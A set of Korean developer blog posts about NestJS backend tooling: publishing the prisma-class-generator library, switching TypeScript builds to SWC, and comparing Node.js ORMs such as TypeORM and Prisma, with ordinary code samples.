### 개요 - NestJS와 Prisma의 궁합은 어떤가?

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcg01.jpeg)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcg02.jpeg)

기존의 TypeORM에서 Prisma로 마이그레이션 하면서 걸렸던 점이 하나 있는데,

TypeORM 같은 경우는 entity class를 정의하기 때문에 이 class 혹은 field에 decorator를 추가하여 자연스럽게 NestJS랑 핏이 잘 맞게 됩니다.

반면에 Prisma는 기본적으로 schema.prisma에 정의된 모델을 single source of truth를 기반으로 타입들을 생성하기 때문에 엔티티 클래스를 별도로 정의할 필요가 없습니다.

그렇기 때문에 NestJS, 특히 swagger 등을 사용할 때는 DTO, response등을 class로 각각 정의해야 할 필요성이 있을 수도 있습니다.

### 작업

처음 이러한 기능의 필요성을 느껴 리서치를 해보니 prismaClient에서 dmmf란 Object를 얻을 수 있는데 이를 이용하여 prisma.schema의 메타데이터를 파싱하여 클래스를 생성해주는 Function을 export하여 제공했습니다.

```typescript
import { PrismaClient } from '@prisma/client'
import { DMMFClass } from '@prisma/client/runtime'
import { writeFromDMMF } from 'prisma-class-generator'

// @ts-ignore
const dmmf: DMMFClass = new PrismaClient()._dmmf

writeFromDMMF({
	dmmf: dmmf as any,
	outputType: 'file',
	targetDir: <PATH DIRECTORY TO WRITE RESULT CLASSES>,
	useSwagger: true,
})
```

추후 슬랙에서 비슷한 라이브러리를 보니 이런 방식이 아닌 추가적인 generator를 배포하는 방식이었습니다. 사실 공식문서에서 커스텀 generator를 사용할 수 있게 제공했는데 제가 이 부분을 체크하지 못하였기 때문에 이러한 방식으로 작업한 것이였습니다.

[Generators (Reference)](https://www.prisma.io/docs/concepts/components/prisma-schema/generators)

다행히 더 좋은 방식 및 인사이트를 얻었으니 이 방식으로 전면 리팩토링했습니다.

[GitHub - kimjbstar/prisma-class-generator: Class generator from Prisma schema](https://github.com/kimjbstar/prisma-class-generator)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcg03.png)

### 고민사항

어느정도 기본적인 기능은 만들었다 싶어 홍보를 위해 prisma 공식 slack을 체크해 보았는데 **#nest-generator**라는 채널이 이미 있었고, 비슷한 기능을 하는 라이브러리가 두어개 정도 존재했습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcg04.png)

그래서 든 고민은 이미 이러한 라이브러리들이 있는데 제가 추가하여 비슷한 기능을 가진 라이브러리를 파편화 시키는 것 아닌가? 라는 고민이 들었습니다. 그래서 이 라이브러리 개발에 합류하여 같이 고도화시키는게 어떤가 라는 생각도 했습니다.

하지만 고민해본 결과 그런 고민을 할정도로 다른 라이브러리들이 고도화되어 있지 않았고, 제 플랜에는 오히려 기존에 파편화된 라이브러리 기능들을 통합할 계획도 있기 때문에 기존 방향대로 진행하기로 마음 먹었습니다.

```
커뮤니티, 슬랙 등 기존 존재하는 generator 프로젝트들 리서치

class, DTO 관련
- prisma-generator-nestjs-dto
- prisma-nestjs-dto-generator

graphQL 관련
- typegraphql-prisma
- prisma-nestjs-graphql

-> prisma-class-generator는 이 모두를 통합하여 지원하는 것이 최종 목표!
```

### 배포

우선 한글로 되어 있는 README.md를 전부 영어로 교체하고, 소개 및 예제를 추가했습니다.

만약 이 라이브러리를 홍보한다면 생각할수 있는 채널은 이정도가 있다고 정리했습니다.

- Nestjs 오픈채팅방
- prisma slack
- NestJS discord
- prisma doc

### 공식 문서에 추가 - prisma doc에 PR

위 generator 문서를 보면 community generator(비공식) 목록이 있는데, 제 라이브러리를 여기에 올리고 싶었습니다. 처음에는 슬랙 등 커뮤니티를 통해 코어 컨트리뷰터 등 한테 어필(?)을 하여 추가되는 줄 알았는데, prisma 문서 프로젝트에 직접 PR을 보내 반영되는 방식이었습니다. 코드리뷰와 프로젝트 체크도 이 때 진행되는 것으로 보입니다.

**과정**

- 우선 프로젝트를 fork받아 해당 페이지를 수정 후 PR 요청을 해보았습니다. 생각보다 빠르게 코드리뷰가 진행되었고, edit suggestion이 담긴 답글이 달려, 수정 반영 후 기다리자 곧 merge가 되었습니다.
    
[add prisma-class-generator to community generators by kimjbstar · Pull Request #2390 · prisma/docs](https://github.com/prisma/docs/pull/2390)
    
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcg05.png)
    
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcg06.png)
    
- 또한 제 라이브러리의 README.md 수정 PR도 요청해주셔서 바로 반영했습니다. 😄
    
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcg07.png)
    
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcg08.png)
    
[docs(README): Small fixes by janpio · Pull Request #1 · kimjbstar/prisma-class-generator](https://github.com/kimjbstar/prisma-class-generator/pull/1)
    

### 결론

- sequelize-typescript-migration을 만들었을 때는 소위 홍보도 하지 않고 방치시켰다면, 이번 같은 경우 여러 채널을 통해 홍보 예정이고 Prisma 프로젝트 자체도 개발이 활발하게 이루어지기 때문에 소위 보는 눈(?)이 더 많을 것으로 보입니다. 그렇기 때문에 더 책임감을 느끼고 개발해야 한다는 마음가짐이 더 큽니다.

- Pull Request가 [README.md](http://README.md) 쪽이 아닌 로직 수정 관련하여 요청이 들어올 수도 있으니 테스트 및 배포 자동화의 우선순위도 높을 것으로 보입니다.

- 마지막으로 영어 공부의 필요성을 많이 느꼈습니다. PR을 보냈을때는 리뷰가 빠르고 반영이 빨라 놀라웠지만, 동시에 부끄러움도 느꼈습니다. 코드 쪽에만 신경썼지 README 및 가이드 쪽 영어에는 신경을 크게 쓰지 못해 오탈자 및 영어 문법쪽에서 수정소요가 추가로 있었기 때문입니다. 앞으로 오픈소스 등을 작업하면 영어로 소통하는 것이 기본일텐데, 더욱 영어와 친숙해지도록 노력을 해야 할 것으로 보입니다.

prisma-class-generator 제작 및 배포기

## 서론

업무용 노트북 기준으로 NestJS 기반 로지파스타 API를 빌드하는데 대략 8초 정도 걸렸습니다. 배포할때도 그렇지만 코드를 변경하고 결과를 보는 iteration이 느려 이 병목 지점이 개발 과정에 많은 병목을 제공했습니다.

스프린트 종료 후 잠시 코드를 정리하는 기간을 활용하여 이 부분을 해결해보기로 했습니다.

## 최적화

빌드하는 상세 과정을 verbose 옵션 등으로 보고 싶었지만 실질적으로 생각하는 옵션을 못찾았습니다.

그래서 대신 `--diagnostics` 옵션을 넣어 대략적으로 조회해보았더니

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc01.png)

특정 옵션 때문에 병목이 난다보다는 전반적으로 균등하게(?) 느렸습니다.

[Performance · microsoft/TypeScript Wiki](https://github.com/microsoft/TypeScript/wiki/Performance)

타입스크립트를 최적화하는 방법은 typescript 프로젝트 위키에서 문서가 잘 되어있고, 여기에도 최적화 방법은 여러가지가 제시되어 있었습니다.

그래서 이 문서를 참조하여 소위 시도해보기 쉬워보이는 방법(tsconfig.json 등 빌드 옵션 수정) 몇 가지를 시도하여 약간의 효과는 얻었지만 그 효과는 실질적으로 미비했습니다.

그 다음 체크 사항으로는 type definition 쪽을 컴파일러 친화적으로 변경하여 체크 및 파싱 시간을 줄여보거나, 컴파일 대상인 파일을 `glob` 형식이 아닌 직접 지정하므로써 파일시스템 쪽 부하를 줄이는 등 방법이 있지만, 이 역시 드는 품에 비해 많은 이득을 볼수 있을 지가 불확실했습니다.

# 대체제 탐색

그리하여 생각이 돌고 돌아 빌드를 아예 다른 툴을 이용하면 어떨까라는 생각이 들었습니다. 예전에도 NestJS를 단일 js 파일로 번들링하여 lambda에 올리는 시도를 할때 webpack으로 작업한 경험이 있어, 어떻게든 방법이 있겠지 하는 마음에 다시 한번 리서치를 해보았습니다.

### **webpack**

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc02.png)

처음엔 이 방법으로 시도하려고 했습니다. 하지만 요새 퍼포먼스쪽 개선이 된 대체 번들러가 많이 등장하여 새로운 방법들로 먼저 시도해 보기로 했습니다.

### **esbuild**

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc03.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc04.png)

이것도 tsc에 비해 정말 빠릅니다. 하지만 공교롭게도 nestJS는 decorator 기반 아키텍쳐가 핵심인데 esbuild는 decorator를 미지원하고 잠정적으로 개발 계획도 없다고 한다. 

사실 decorator는 실질적으로 많이 사용하고 있기는 하지만 아직 공식적으로 지원하는 기능은 아니고, 툴 자체가 "javascript bundler"이기 때문에 typescript 관련 옵션을 모두 지원해야 할 이유는 없습니다.

따라서 아쉽지만 적용하기에 어려움이 있다고 판단되어 다른 솔루션을 찾아야만 했습니다.

[Feature request: Decorators support · Issue #104 · evanw/esbuild](https://github.com/evanw/esbuild/issues/104)

### **swc**

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc05.png)

[swc](https://swc.rs/)

지향점 차이이긴한데 위에서 언급한 webpack, esbuild 등의 라이브러리들은 사실 용도 자체가 프론트에서 주로 사용하고 있는 번들러이고, 이 중 ts 로드 기능이 있는 부분을 뽑아 활용하는 접근 방식에 가까웠습니다. 하지만 swc는 번들러가 아니라 **컴파일러**(트랜스파일러)를 표방하고 있습니다! 

```
🛠 Transcompile
swc is a typescript / javascript compiler.
It consumes a javascript or typescript file which uses recently added features like async-await and emits javascript code which can be executed on old browsers.
It supports all published typescript versions and all valid ecmascript, including some stage 3 proposals as an input, and supports es3 or higher as an output
```

```
🚀 Super fast
It's 20x faster than babel on single thread, and 70x faster on 4 core benchmark
```

참고용 벤치마킹 페이지에 있는 이미지 중 하나, esbuild보다도 빠릅니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc06.png)

[Transforms | swc](https://swc.rs/docs/benchmark-transform/)

# 적용

적용 리서치 과정 중에는 항상 두가지 이슈가 따라다녔는데

1. 데코레이터 관련 부분이 문제없이 컴파일 되는가?
2. tsconfig-path를 활용해 import 시에 상대경로 대신 alias 처리된 경로를 사용하고 있는데 이부분이 잘 해석되어 컴파일 되는가?

였습니다. 적용 시도했던 라이브러리들이 이 부분에서 막히거나, 불가능한 지점이 있었습니다.

```tsx
// .swcrc 옵션 파일, 데코레이터 옵션이 아주 잘 지원된다.
// paths 관련 옵션도 지원되는데 굳이 사용하지 않아도 이슈가 없어서 패스
{
	"module": {
		"type": "commonjs"
	},
	"jsc": {
		"parser": {
			"syntax": "typescript",
			"tsx": false,
			"decorators": true,
			"dynamicImport": false
		},
		"transform": {
			"legacyDecorator": true,
			"decoratorMetadata": true
		},
		"target": "es2017",
		"keepClassNames": false
	}
}
```

3. 새로운 이슈 등장, 뜬금없이 swagger쪽이 빌드에서 막히는 이슈를 만났습니다. 

`@nestjs/swagger`는 프로젝트 내에 있는 모든 DTO 관련 파라미터, Body, Query 등을 긁어 문서를 빌드하는 기능이 있는데, 긁다 어딘가에서 type이 없는 지점을 만나 에러가 난듯 한데, 긁는 순서가 순차적이지 않기 때문에 찾는데에 애를 조금 먹었습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc07.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc08.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc09.png)

범인은 이 코드에 Body 데코레이터 같은 케이스였고, 기존 tsc 빌드툴에서는 이런 코드를 잠정적으로 any로 바꿔 컴파일 하는데, swc에서는 그렇지 않아 예상하지 않은 에러가 난 것으로 추측 정도를 한 후 마저 리서치를 진행했습니다.

그리하여 tsconfig.json 옵션에 noImplicitAny를 넣어 lint를 더욱 strict하게 만든 후, 코드 수정 작업을 했습니다.

# 빌드

빌드가 성공했고 **결과는 놀라울 정도로 빨랐습니다.**

개인 imac 기준 (3.8 GHz 8코어 Intel Core i7, 40GB 2133 MHz DDR4)

- 약 6.74s → 약 0.51s
- 스크린샷
    
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc12.png)
    
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc13.png)
    

업무용 macbook 기준 (2.6 GHz 6코어 Intel Core i7, 16GB 2667 MHz DDR4) 기준

- 약 7.54s → 약 0.773s
- 스크린샷
    
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc14.png)
    

## 이슈 트래킹

하지만 class-validator 기반 DTO가 정상적으로 작동하지 않는 이슈를 발견하여 실제 프로덕트 도입은 잠정 중단하고, 스프린트 일정이 빠듯하여 우선 남은 일정을 소화하는 것으로 1차 결론을 지었습니다.

```tsx
// DTO 정의
export class PostListArgs {
	company_id?: number
  name?: string
}

// 컨트롤러
async find(@Query() args: PostListArgs) {
		console.log(args)
    const result = await this.postsService.findMany(args)
    // ...
}

/**
예를 들어 위와 같이 DTO와 컨트롤러를 정의한 후,
example.com/api/posts?company_id=1&name=john 등 querystring으로 전달한 값이
swc로 빌드되었을 경우 무시되는 이슈가 있었습니다.
*/
```

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc10.png)

원인을 딥하게 체크해보면, NestJS에서 DTO에 주로 사용되는 class-validator, class-transformer 라이브러리 관련 이슈인데, 가볍게 해결할 수 있는 문제는 아닌 것으로 보여 notification을 걸어놓고 모니터링을 계속 하고 있었습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/swc11.png)

하지만 이슈가 당장 해결되기는 어려울 것으로 판단하여, 이 이슈에서 제시된 workaround를 사용했습니다. 모든 DTO 클래스 필드에 기본값을 undefined로 놓으면 이슈 자체는 해결됩니다.

```typescript
// 즉 DTO 정의를 다음과 같이 변경합니다.
export class PostListArgs {
	company_id?: number = undefined
  name?: string = undefined
}
```

SWC를 통한 더 빠른 typescript 빌드 도입

## 서론
TypeORM의 한계를 느껴 새로운 대체 라이브러리를 찾던 도중 발견했습니다. 사실 기존에 알고 있는 Prisma는 version 1으로 사실상 deprecated 되었고, 새로 개편한 버전인 Prisma2입니다.
4월 중순 경, 기존에 TypeORM을 이 Prisma로 전면 교체하는 작업을 하였고 그에 관련된 사항들을 기록해 보았습니다.

## 장점 1: 듬직한 타입 지원
- 스키마를 schema.prisma에 전부 정의합니다. 이 파일이 앞으로 죽 single source of truth가 됩니다.
- 스키마로부터 type을 일괄 generate 하여 node_modules에 추가합니다.
	- 기본적인 model, where, orderBy, select 등 **모든** 파라미터를 타입으로 생성

```prisma
// 예를 들어 아래와 같이 schema.prisma에 스키마를 정의해둡니다.
model Book {
  id            Int       @id @default(autoincrement())
  name          String    @db.VarChar(128)
  type          String    @db.VarChar(128)
  createdAt     DateTime  @default(now()) @db.DateTime(6)
  updatedAt     DateTime? @default(now()) @db.DateTime(6)
  deletedAt     DateTime? @db.DateTime(6)
}
```

```typescript
// prisma generate 시, 아래와 같이 where, order절에 들어가는 모든 타입들이 정의해 놓은 스키마 기반으로 자동 생성됩니다.
export type BookWhereInput = {
    AND?: Enumerable<OrderWhereInput>
    OR?: Enumerable<OrderWhereInput>
    NOT?: Enumerable<OrderWhereInput>
    id?: IntFilter | number
    name?: StringNullableFilter | string | null
    type?: StringNullableFilter | string | null
}

export type BookOrderByInput = {
    id?: SortOrder
    name?: SortOrder
    type?: SortOrder
    category?: SortOrder
    deletedAt?: SortOrder
}
export const SortOrder: { asc: 'asc', desc: 'desc' };
export type SortOrder = (typeof SortOrder)[keyof typeof SortOrder]
```

```typescript
// 그렇게 타입 생성이 되면 아래와 같이 사용 가능합니다. 물론 type strict 합니다.
const book = await prisma.book.findUnique({
    where: {
        id: 1
    }
})
const books = await prisma.book.findMany({
    where: {
        name: 'foo'
    },
    orderBy: {
        id: 'asc'
    }
})
```

- relation 접근이 좀 더 유연합니다. 
	- ORM에서 relation을 정의할때 연결된 테이블을 **fk가 아닌 object로만 접근 가능해야 하도록 구현**된 ORM이 많습니다. **Prisma에서는 fk id, object 모두 지원합니다.**
```typescript
// 일부 ORM
const userId = 3;
const user = this.UserRepository.findOne(3)
const companies = await this.CompanyRepository.find({ user: user })
// prisma 
const userId = 3
const companies = await this.Company.findMany({ userId : userId })
```

## 장점 2: migration

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/Untitled.png)

migration 및 up, ~~down~~ SQL를 감지 생성합니다. 이 역시 schema.prisma 기반으로 체크합니다.
* local에서는 데이터가 매우 fraglie 함 : 의도됨
	* 변경시 수시로 리셋+seed 및  [shadow database](https://www.prisma.io/docs/concepts/components/prisma-migrate/shadow-database) 를 통한 마이그레이션 히스토리 검증
* production에서는 사용빈도 낮은 down 개념 제거, 적용 안된 마이그레이션만 순서대로 반영
	* production에서 migration down 등 roll-back 액션이 오히려 사이드 이펙트 및 리스크가 클 수 있습니다.

## 장점 3: 낮은 러닝커브, 직관적 사용

일반적으로 생각되는 기능들은 문서화가 잘 되있어서, 문서만 보고도 쉽게 사용해 볼 수 있습니다.

https://www.prisma.io/docs/concepts/components/prisma-client/crud

![image1](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/1.png)

CREATE

```typescript
// CREATE
async function createUser() {
	const user = await prisma.user.create({
	  data: {
	    email: 'elsa@prisma.io',
	    name: 'Elsa Prisma',
	  },
	})
}

// CREATE WITH INCLUDE
async function createUserWithPost() {
  let includePosts: boolean = false
  let user: Prisma.UserCreateInput

  // Check if posts should be included in the query
  if (includePosts) {
    user = {
      email: 'elsa@prisma.io',
      name: 'Elsa Prisma',
      posts: {
        create: {
          title: 'Include this post!',
        },
      },
    }
  } else {
    user = {
      email: 'elsa@prisma.io',
      name: 'Elsa Prisma',
    }
  }

  // Pass 'user' object into query
  const createUser = await prisma.user.create({ data: user })
}
```


```typescript
const user = await prisma.user.findUnique({
  where: {
    id: '60d5922d00581b8f0062e3a8',
  },
})

const users = await prisma.user.findMany({
  where: {
    OR: [
      {
        name: {
          startsWith: 'E',
        },
      },
      {
        AND: {
          profileViews: {
            gt: 0,
          },
          role: {
            equals: 'ADMIN',
          },
        },
      },
    ],
  },
})
```

```typescript
const updateUser = await prisma.user.update({
  where: {
    email: 'viola@prisma.io',
  },
  data: {
    name: 'Viola the Magnificent',
  },
})

const upsertUser = await prisma.user.upsert({
  where: {
    email: 'viola@prisma.io',
  },
  update: {
    name: 'Viola the Magnificent',
  },
  create: {
    email: 'viola@prisma.io',
    name: 'Viola the Magnificent',
  },
})
```

```typescript
const deleteUser = await prisma.user.delete({
  where: {
    email: 'bert@prisma.io',
  },
})
const deleteUsers = await prisma.user.deleteMany({
  where: {
    email: {
      contains: 'prisma.io',
    },
  },
})
```

relation (join)

TypeORM같은 경우 relation 관련하여 복잡도가 높아질수록 기능이 지원되지 않아 부분적 query builder를 사용해야만 했었습니다.

하지만 prisma는 join with condition, n-depth relation, self relation 등을 문제 없이 제공함을 확인했습니다.

```typescript
// find
const result = await prisma.user.findMany({
  where: {
    email: {
      endsWith: 'prisma.io',
    },
    posts: {
      some: {
        published: true,
      },
    },
  },
  include: {
    posts: {
      where: {
        published: true,
      },
    },
  },
})

const users = await prisma.user.findMany({
  where: {
    posts: {
      none: {
        views: {
          gt: 100,
        },
      },
      every: {
        likes: {
          lte: 50,
        },
      },
    },
  },
})
```

```typescript
const createUserAndPost = await prisma.user.create({
  data: {
    email: 'elsa@prisma.io',
    name: 'Elsa Prisma',
    posts: {
      create: [
        { title: 'How to make an omelette' },
        { title: 'How to eat an omelette' },
      ],
    },
  },
})
```

## 장점 4: 2.0버전 정식 런칭 및 투자로 인한 인력 충원 예상

12M Dollar : 한화 약 138억

https://www.prisma.io/blog/prisma-raises-series-a-saks1zr7kip6

0.x대 버전을 유지하고 있고, 개발 인력이 부족해 이슈가 해결되지 않는 TypeORM과 대조해서 바라보게 됩니다.

## 장점 5: 잘 정리된 문서 & 꾸준한 밋업 활동 & 인력

꾸준한 소통 활동 - 유튜브, 밋업, 슬랙

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/3.png)
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/4.png)

# 한계점

1. 아직은 지원하지 않는 기능들

- transaction
- vendor specific한 기능을 사용해야 할 시 raw query를 사용할 수 밖에 없습니다.
  - 이부분은 사실 ORM 자체의 한계점.

2. prisma migrate의 안정화 필요

- production에서는 사실 문제가 없는데, local에서 migrate, reset 시 간혹 에러가 발생하여 database 자체를 재생성행 할 때도 있습니다.

3. 오직 타입으로만 정의되기 때문에, NestJS와 어우러지기 위해서는 class 재정의가 필요합니다.

- generator 제작으로 해결 예정

4. 다소 무겁습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/7.png)

5. 한국에서의 인지도는 아직 낮다.

- 하지만 최근 밋업에 한국인들도 등장하고 있는 등 점점 커뮤니티도 활발해질 것으로 예상됩니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/6.png)

# 결론

TypeORM에서 기술적 한계를 느껴 Prisma로 전환하는 리팩토링 과정을 거졌고, `결론적으로는 코드 퀄리티 및 가독성이 대폭 상승했습니다.`

기술이 되었든 그렇지 않은 것이든 실제 프로덕트에 이미 적용되어 있는 무언가를 개선하는 것은 정말 발전적인 행동이라고 생각합니다. 하지만 그렇게 위해서는 거쳐야할 과정이 있습니다. 이러한 포인트를 체크하는 것이 기술적 리서치 못지않게 중요하다는 점을 이번 마이그레이션을 통해 느꼈습니다.

1. 팀원(개발자)들을 설득하는 과정

    - 아무리 좋은 기술이다 하더라도 `이 기술이 어떤 장점이 있는지`, `기존의 문제를 해결하는 데 더 도움을 줄 수 있는지` 등등을 구성원들에게 `인지 및 공감`을 시키는 것이 첫 번째로 해야할 점입니다!

2. 적용에 필요한 일정 산정

    - 이러한 리팩토링 성질을 띄고 있는 작업을 할 시 기존의 작업을 단기적으로 미루고 일정 및 태스크를 `추가 산정`해야 합니다.
    - 이러한 태스크를 수행 시 큰 그림으로 봤을 때 개발자의 생산성이 올라간다는 점을 `일정 관리자 한테 납득`을 시켜야 합니다.
        
![Untitled](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/5.png)
        
        - 당장의 기능이 추가된다던가 하지는 않지만, 투자할만한 가치다 있다는 점을 인지시키기
3. 리스크(소위 달리는 자동차 위에서의 엔진 교체) 를 예측 및 방지
    - 어떠한 작업이 들어가더라도, `기존의 작업물 및 프로덕트에 영향을 미치면 안됩니다.`
    - 특히 이미 런칭되어 `비즈니스가 돌아가고 있는 환경`이면 더블 체크 혹은 그 이상이 동반되어야 합니다.

아직까지는 프로덕션에서 큰 이슈는 발생하지 않았지만, 자잘한 이슈가 있기는 하여 그 부분은 별도로 추가적인 글을 작성할 계획입니다.

NodeJS에서의 ORM 선택 (2) : Prisma

## 배경

신규 프로젝트를 구축할 일이 있었습니다. 기존에 사내에서 주력으로 사용하던 언어 및 프레임워크는 PHP, Laravel이었지만, 유지보수, 확장성, 구성원들의 경험 등의 다양한 이유로 NodeJS를 활용하여 새로운 코드 베이스를 구축하기로 결정되었습니다.

소위 맨땅에서부터 시작했고, NodeJS 생태계 특성상 많은 스택들을 직접 결정해야 했습니다.
이를테면 그나마 NestJS를 사용하고, NestJS 문서에서 권정하는 써드파티 라이브러리를 우선적으로 사용한다는 점이 합의가 되어 초기 결정에 대한 부담을 줄일 수 있었습니다.

그러나 데이터베이스 - 소위 MVC에서의 모델 같은 경우 선택지가 많아 고민이이었고, 이에 대한 고민 과정을 간략히 정리한 글 입니다.

## 언제나 고민하게 되는 DB

데이터베이스를 다루는 방법은 여러가지가 있습니다.

- ORM - Object Relation Mapping - Database Layer를 wrapping 해줌으로써 query를 매번 직접 입력하지도 않아도 application 단에서 편하게 개발할 수 있는 방법입니다.
- Query Builder - 이전까지 사용해오던 방식으로, 빌더 패턴을 통해 쿼리를 간접적으로 다룸으로써 유연성과 구조성 중간에 있는 전략 입니다.
- Raw Query - 말 그대로 쿼리를 직접 사용하며, 자유도가 가장 높으나 규모가 커질 시 유지보수가 어렵습니다.
- Data Mapper - 자바 진영에서 사용한다는 방법인데, xml 베이스의 mapper에 사용할 쿼리를 정의해놓고 호출시켜 사용한다고는 하는데 저와는 관련 없으므로 생략했습니다.

## Sequelize

기존 nodejs 진영 및 npm에서 가장 점유율이 높습니다.

그러나 migration, typescript 지원이 부족하다 느껴 제외되었습니다.

또한 migration 기능을 제공하기는 하지만 TypeORM이나 django처럼 up, down function generate를 제공해야 생산성에서 의미가 있다 생각했습니다.

```javascript
class Project extends Model {}
Project.init({
  title: Sequelize.STRING,
  description: Sequelize.TEXT
}, { sequelize, modelName: 'project' });

class Task extends Model {}
Task.init({
  title: Sequelize.STRING,
  description: Sequelize.TEXT,
  deadline: Sequelize.DATE
}, { sequelize, modelName: 'task' })
```

```javascript
// search for known ids
Project.findByPk(123).then(project => {
  // project will be an instance of Project and stores the content of the table entry
  // with id 123. if such an entry is not defined you will get null
})

// search for attributes
Project.findOne({ where: {title: 'aProject'} }).then(project => {
  // project will be the first entry of the Projects table with the title 'aProject' || null
})


Project.findOne({
  where: {title: 'aProject'},
  attributes: ['id', ['name', 'title']]
}).then(project => {
  // project will be the first entry of the Projects table with the title 'aProject' || null
  // project.get('title') will contain the name of the project
})
```

## Knex.js ( query builder )

조율 과정에서 탈락되었지만, 개인적으로는 제가 개발하던 패턴과 가장 비슷하여 눈여겨 보고 있습니다.

```javascript
knex.select('title', 'author', 'year')
  .from('books')

knex.select()
  .table('books')
```

## MikroORM

document만 봤을 떄는 단점이 크게 없었지만, 생태계가 아직 크지 않아 프로덕션에 올리기에는 리스크가 있다 판단하여 제외되었습니다.

```typescript
@Entity()
export class Book extends CustomBaseEntity {

  @Property()
  title!: string;

  @ManyToOne(() => Author)
  author!: Author;

  @ManyToOne(() => Publisher, { ref: true, nullable: true })
  publisher?: Ref<Publisher>;

  @ManyToMany({ entity: 'BookTag', fixedOrder: true })
  tags = new Collection<BookTag>(this);

}
```
```typescript
const author = await em.findOne(Author, 123);
const books = await em.find(Book, {});

for (const author of authors) {
  console.log(author.name); // Jon Snow

  for (const book of author.books) {
    console.log(book.title); // initialized
    console.log(book.author.isInitialized()); // true
    console.log(book.author.id);
    console.log(book.author.name); // Jon Snow
    console.log(book.publisher); // just reference
    console.log(book.publisher.isInitialized()); // false
    console.log(book.publisher.id);
    console.log(book.publisher.name); // undefined
  }
}

const books = await em.find(Book, { foo: 1 }, { populate: ['author.friends'] });

```


## TypeORM을 채택하다.
- NestJS에서도 가이드에 가장 먼저 등장하고, 개인적으로 사이드 프로젝트에 적용시켜본 경험이 있었기 때문에 가장 유력한 후보였습니다.
  **데코레이터 패턴**을 사용하여 Typescript, NestJS 및 관련 라이브러리들과 궁합이 잘맞고, 추후 실험적으로 GraphQL을 도입하기도 용이합니다.
  또한 당시 구성원들이 모두 어느 정도 TypeORM에 대한 기본 지식이 있기 때문에 이 라이브러리를 사용하기로 결정했습니다.

```typescript
// class와 decoratro를 통해 entity를 정의
@Entity()
class Contact {
  @PrimaryGeneratedColumn()
  id: number
  @Column() name: string
  @ManyToOne((type) => Address)
  address: Address
}
@Entity()
class Address {
  @PrimaryGeneratedColumn() id: number
  @Column() street: string
  @Column() city: string
}
```

```typescript
// entity manager 혹은 repository를 통해 기본적인 데이터 CRUD를 수행
userRepository.find({
  where: {
    firstName: "Timber",
    lastName: "Saw"
  }
})
```

- 만약 제공되지 않는 복잡한 쿼리 액션이 필요 시 직접 queryBuilder를 사용한다.

## 짧은 TypeORM 사용 후기 및 한계점 발견

그리하여 TypeORM을 기반으로 기초 코드를 다졌는데, 생각보다 여러 문제가 생겼습니다.

1. 위에 특징에서 언급한 TypeQueryBuilder의 남용
   - 복잡도가 증가함에 따라 제공안되는 기능이 많아 queryBuilder를 울며 겨자먹기로 남용한 결과, 순수한 ORM 코드와 quileryBilder 코드가 혼용되어 가독성 하락 및 타입 보장이 되지 않습니다.
   - [이미지1]
   - https://github.com/typeorm/typeorm/issues/3890#issuecomment-524009201
   - 예) Author.name이 Brown인 Book의 목록을 가져오기 → 이 정도는 기본 기능을 활용할 수 있을 것으로 생각했으나 queryBuilder를 사용해야 했다.
2. TypeORM이지만 생각보다 Type이 strict하지 않다.
   - 한 사례로 update 액션에서 primary key로 쓰는 number형 id가 type-safe하지 않아서 예를들어 id가 1인 entity를 업데이트 하기 위해 id:”1”을 포함한 object를 넘겼지만 두 id를 다르게 인식하여 update 대신 insert 액션을 시도하여 primary key 에러 발생
   - [다이어그램]
   - https://github.com/typeorm/typeorm/issues/2707
   - https://github.com/typeorm/typeorm/issues/3890#issuecomment-524009201
3. 전반적 개발 인력 부족
   - 빈약한 문서화
   * 위 이슈같은 **버그**에 관한 내용 및 주의사항
   * 일부 기능들의 설명 및 예제 부족
   * https://github.com/typeorm/typeorm/issues/3267
   * [typeorm/select-query-builder.md at master · typeorm/typeorm · GitHub](https://github.com/typeorm/typeorm/blob/master/docs/select-query-builder.md)
4. 관련 이슈 링크 모음
   이러한 염증을 저만 느끼는 것이 아니었는지, 커뮤니티 등에 잊을만 하면 TypeORM 관련하여 토론이 열립니다.

- https://www.reddit.com/r/typescript/comments/lwje83/typeorm_its_not_what_you_think/

NodeJS에서의 ORM 선택 (1) : TypeORM

### 배경

